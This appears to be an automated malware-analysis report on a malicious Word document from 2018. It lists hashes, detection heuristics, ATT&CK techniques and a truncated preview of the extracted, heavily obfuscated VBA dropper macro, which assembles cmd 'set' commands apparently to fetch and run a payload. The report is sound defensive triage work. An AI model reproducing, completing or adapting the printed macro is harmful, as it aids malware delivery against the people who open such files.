Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 54c58fd0bf638547…

MALICIOUS

Office (OLE)

250.5 KB Created: 2018-01-31 11:24:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 0be1c9271f61746df4392ef9eec739c0 SHA-1: 5922d1045e7f28a32d30580bb417eaa468daaa1f SHA-256: 54c58fd0bf6385474b3596f875ce94da334cb64010a04068486fa096d52a5630
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, to execute commands. This strongly suggests the macro's purpose is to download and execute a secondary payload. The presence of an AutoOpen macro further indicates an attempt at automatic execution upon opening the document.

Heuristics 6

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 312455 bytes
SHA-256: fb23a88920a46acdec668eacc2fc539445f88148f3caf30cb137aa93294c62e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Remediated by Sunbelt Software"

Attribute VB_Name = "fDVwVUAHGp"
Function hEZcEdk()
On Error Resume Next
rnFdqVvjffA = ("hrdph7a%=zBiaDSMP72XN2")
EprDAklZNPE = 6411682 + bsOzIbZi - OPIb2 / Log(BFmwYqqC / Int(jnMGqOGkoibS) - 6661190 * LjBiRkVEQjcN) / Qnf + Hex(fiOwMiNhtAVBAq) / (nqHpTSaPXM - Int(RLbWjdcRbG) - 4903325 * ChrW(7286024 / jUERjfcRu + RaZnudEPrknRCF - CByte(4472611 + CLng(3803684 + ChrW(8453586) - 4720393 - Chr(PSNEsFwNIfrj)))))
lAJTjDTsKVh = 1584387 + NKwHqinWqi - OPIb2 / Log(aSSzuPn / Int(hffDVjh) - 9353503 * wkzBfupva) / Qnf + Hex(BqvsbfDS) / (fOOPEfariGbaI - Int(XaGizvXdETDl) - 2643730 * ChrW(7398466 / DYROuQBiUvWF + GozlsEX - CByte(3600896 + CLng(4024325 + ChrW(9423063) - 808402 - Chr(PCJuMSRnFi)))))
YnRiHFwbjWG = Mid(rnFdqVvjffA, 8, 9)
TROPij = ("wLFEpKiv5kZF&set %VawTYvIXcABizAmfc")
XTlrzTTm = 9067091 + WwSjBLuNULsMf - OPIb2 / Log(lLhttDsjns / Int(cOabGMqoYVz) - 4305407 * IpiSVFNQBpa) / Qnf + Hex(FvarvqIaJZzUlN) / (CXGzmoGkEZaKhi - Int(bYziBQPz) - 5679780 * ChrW(5890040 / wRjsKhIGLsuqo + wLWSVjbv - CByte(9873216 + CLng(9599544 + ChrW(4728344) - 4120796 - Chr(MhmZcUws)))))
wHdiAzaKiB = 8021576 + LOsCaTR - OPIb2 / Log(iKUCFtfIwPAR / Int(ToZvZYTSVsQI) - 2183193 * DciAciRq) / Qnf + Hex(mKcttUWh) / (XOrZSGBuzOMSE - Int(ticfUOYjUdinlw) - 6028427 * ChrW(4915740 / zKYlwSdJXzhkCd + hQiKRpCSTnuOv - CByte(6053623 + CLng(3949123 + ChrW(987735) - 2968762 - Chr(QNHfIzPwVw)))))
pdXIRhjf = Mid(TROPij, 13, 13)
qotQncnuq = ("vr438hpII7JvOwvpz&&set %OEMHMLIVUUkoKTEVRi83q0zKP")
HFZPWd = 7308333 + SKYsiuW - OPIb2 / Log(NnYOBIurX / Int(VfisEwUYusIWGW) - 6398134 * ZsNpzWObWaEsXA) / Qnf + Hex(VvmzGYaFbYFz) / (GqhChCiCiiz - Int(RCVircAtJnbTYb) - 5177142 * ChrW(9811770 / lRrWkUftCKVR + qNpzoVEbjwF - CByte(1121631 + CLng(3825048 + ChrW(3787604) - 2897141 - Chr(dGbjPsQFb)))))
FZdPv = 6291617 + qkpRicdwOiZm - OPIb2 / Log(uLBUmRQ / Int(QfYEuiQ) - 9580640 * jXInOqufadqXAj) / Qnf + Hex(UWpEqvT) / (PjZFQMku - Int(wSuBiRjUH) - 8033643 * ChrW(2167417 / adQvVkYtLGAQN + HoldSqjcYipBp - CByte(887151 + CLng(1704186 + ChrW(6979296) - 6783565 - Chr(IWpCJKv)))))
MnbbPnGzdM = Mid(qotQncnuq, 12, 13)
TYGZMTOwj = ("JJzhiAqDl&&set %ujVBSiEDTq")
JHwDiNaSHL = 2208471 + EoWkPiLIYc - OPIb2 / Log(irMhURUBLhpsw / Int(sGPhrszNmGiUj) - 6511111 * qDbvhPSZK) / Qnf + Hex(okUAqOw) / (tWbvahkqUF - Int(zzhmjUd) - 2705060 * ChrW(9481392 / bZjFfDIiN + sluqKqucuLrvNT - CByte(2029487 + CLng(343673 + ChrW(1266263) - 9590481 - Chr(fNAwJSzuqvib)))))
mVisLOYZaw = 2246152 + KONFqbta - OPIb2 / Log(TlYfMMu / Int(wKtiirnkYNv) - 841671 * QjfnDFwwPWsE) / Qnf + Hex(jMlmkivR) / (RRYcWaUSNzVT - Int(CssJHzh) - 6302871 * ChrW(7655238 / dVLazmc + IPiRNPbjV - CByte(5516731 + CLng(9507479 + ChrW(1716875) - 8932722 - Chr(sdKtubazkAdQ)))))
pHKJMtWFTfu = Mid(TYGZMTOwj, 9, 13)
tqQLcwcrBAm = ("DlFQLRBu0zpkhNo8hoHEbXAmCoi7b8bKiS05L")
vhPZrWJWs = 355898 + XMbOOZXHuqVCXE - OPIb2 / Log(RlFXFNLTbfaPP / Int(bpDuoURNzErwVl) - 3354163 * BqfMaaXQ) / Qnf + Hex(hLtzinJHKTASHi) / (VEoAjIraBQdk - Int(DWASmwHIYNOR) - 6584651 * ChrW(7931860 / RQsuHvqV + WknqlrjFDYDn - CByte(3658882 + CLng(6503039 + ChrW(6022846) - 1655528 - Chr(azrZjwTfIkY)))))
nWXjqE = 6789205 + oNBNwCLQXhi - OPIb2 / Log(OJlXwjNl / Int(VsiMnlTKdGL) - 4217373 * jqmFlczLCQN) / Qnf + Hex(VoiIJBKzz) / (UXAJRrGuaT - Int(oaultzkoUScQv) - 3497645 * ChrW(9454564 / CTEAYcPVPEcL + EIpudjO - CByte(7562779 + CLng(4348951 + ChrW(3092959) - 838697 - Chr(IcBsGFqTGD)))))
qjZKwSLwjmR = Mid(tqQLcwcrBAm, 18, 5)
OjZfQAMWR = ("onUBYRRE%=MwjBtos2p82wjVjLmM1S")
tIiCKJh = 5190074 + kSVLmEXRrqRHA - OPIb2 / Log(JmkcpBTlOtQHn / Int(uzIwrwOvQczl) - 6505190 * AEnLIjO) / Qnf + Hex(DBNZZzEbviRn) / (siUPDaNVHi - Int(TNkJFFz) - 803646 * ChrW(4088597 / vHjSXOro + SUuiHVTvEIBQ - CByte(9278859 + CLng(4359858 + ChrW(1701558) - 1165149 - Chr(OuWpfN
... (truncated)

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